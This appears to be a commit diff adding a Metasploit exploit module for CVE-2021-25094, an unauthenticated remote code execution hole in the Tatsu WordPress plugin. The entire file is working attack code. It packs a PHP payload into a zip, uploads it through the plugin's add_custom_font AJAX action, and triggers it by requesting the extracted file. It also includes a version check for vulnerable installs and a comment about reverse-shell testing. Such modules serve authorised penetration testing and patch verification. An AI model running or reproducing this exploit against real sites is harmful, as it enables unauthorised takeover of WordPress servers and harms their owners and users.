|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Payload::Php |
| 10 | + include Msf::Exploit::FileDropper |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 13 | + prepend Msf::Exploit::Remote::AutoCheck |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super( |
| 17 | + update_info( |
| 18 | + info, |
| 19 | + 'Name' => 'Tatsu Wordpress Plugin RCE', |
| 20 | + 'Description' => %q{ |
| 21 | + This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit. |
| 22 | + }, |
| 23 | + 'Author' => [ |
| 24 | + 'Vincent Michel', # Vulnerability discovery |
| 25 | + 'msutovsky-r7' # Metasploit module |
| 26 | + ], |
| 27 | + 'References' => [ |
| 28 | + ['CVE', '2021-25094'], |
| 29 | + ['EDB', '52260'] |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'Privileged' => false, |
| 33 | + 'Platform' => %w[php], |
| 34 | + 'Arch' => [ARCH_PHP], |
| 35 | + 'Targets' => [ |
| 36 | + [ |
| 37 | + 'PHP', |
| 38 | + { |
| 39 | + 'Platform' => 'php', |
| 40 | + 'Arch' => ARCH_PHP |
| 41 | + # tested with php/meterpreter/reverse_tcp |
| 42 | + } |
| 43 | + ] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0, |
| 46 | + 'DisclosureDate' => '2022-04-25', |
| 47 | + 'Notes' => { |
| 48 | + 'Stability' => [CRASH_SAFE], |
| 49 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], |
| 50 | + 'Reliability' => [REPEATABLE_SESSION] |
| 51 | + } |
| 52 | + ) |
| 53 | + ) |
| 54 | + end |
| 55 | + |
| 56 | + def create_zip |
| 57 | + zip_file = Rex::Zip::Archive.new |
| 58 | + @payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php' |
| 59 | + zip_file.add_file(@payload_file, payload.encoded) |
| 60 | + zip_file.pack |
| 61 | + end |
| 62 | + |
| 63 | + def upload_malicious_zip |
| 64 | + zip_payload = create_zip |
| 65 | + |
| 66 | + boundary = Rex::Text.rand_text_alphanumeric(32).to_s |
| 67 | + |
| 68 | + data_post = "--#{boundary}\r\n" |
| 69 | + data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n" |
| 70 | + data_post << "add_custom_font\r\n" |
| 71 | + data_post << "--#{boundary}\r\n" |
| 72 | + |
| 73 | + data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n" |
| 74 | + data_post << "#{zip_payload}\r\n" |
| 75 | + data_post << "--#{boundary}--\r\n" |
| 76 | + |
| 77 | + res = send_request_cgi({ |
| 78 | + 'method' => 'POST', |
| 79 | + 'uri' => normalize_uri('wp-admin/admin-ajax.php'), |
| 80 | + 'ctype' => "multipart/form-data; boundary=#{boundary}", |
| 81 | + 'data' => data_post |
| 82 | + }) |
| 83 | + |
| 84 | + fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200 |
| 85 | + json_content = res.get_json_document |
| 86 | + |
| 87 | + fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success' |
| 88 | + |
| 89 | + @zip_name = json_content.fetch('name', nil) |
| 90 | + |
| 91 | + fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name |
| 92 | + end |
| 93 | + |
| 94 | + def trigger_payload |
| 95 | + send_request_cgi({ |
| 96 | + 'method' => 'POST', |
| 97 | + 'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file) |
| 98 | + }) |
| 99 | + end |
| 100 | + |
| 101 | + def check |
| 102 | + return CheckCode::Unknown('Target not responding') unless wordpress_and_online? |
| 103 | + |
| 104 | + wp_version = wordpress_version |
| 105 | + print_status("Detected WordPress version: #{wp_version}") if wp_version |
| 106 | + |
| 107 | + res = send_request_cgi({ |
| 108 | + 'method' => 'GET', |
| 109 | + 'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md') |
| 110 | + }) |
| 111 | + |
| 112 | + return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200 |
| 113 | + |
| 114 | + changelog_body = res.body |
| 115 | + |
| 116 | + return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank? |
| 117 | + |
| 118 | + return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/) |
| 119 | + |
| 120 | + version = Rex::Version.new(Regexp.last_match(1)) |
| 121 | + |
| 122 | + return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11') |
| 123 | + |
| 124 | + return CheckCode::Safe('Patched version detected') |
| 125 | + end |
| 126 | + |
| 127 | + def exploit |
| 128 | + upload_malicious_zip |
| 129 | + trigger_payload |
| 130 | + end |
| 131 | + |
| 132 | +end |
0 commit comments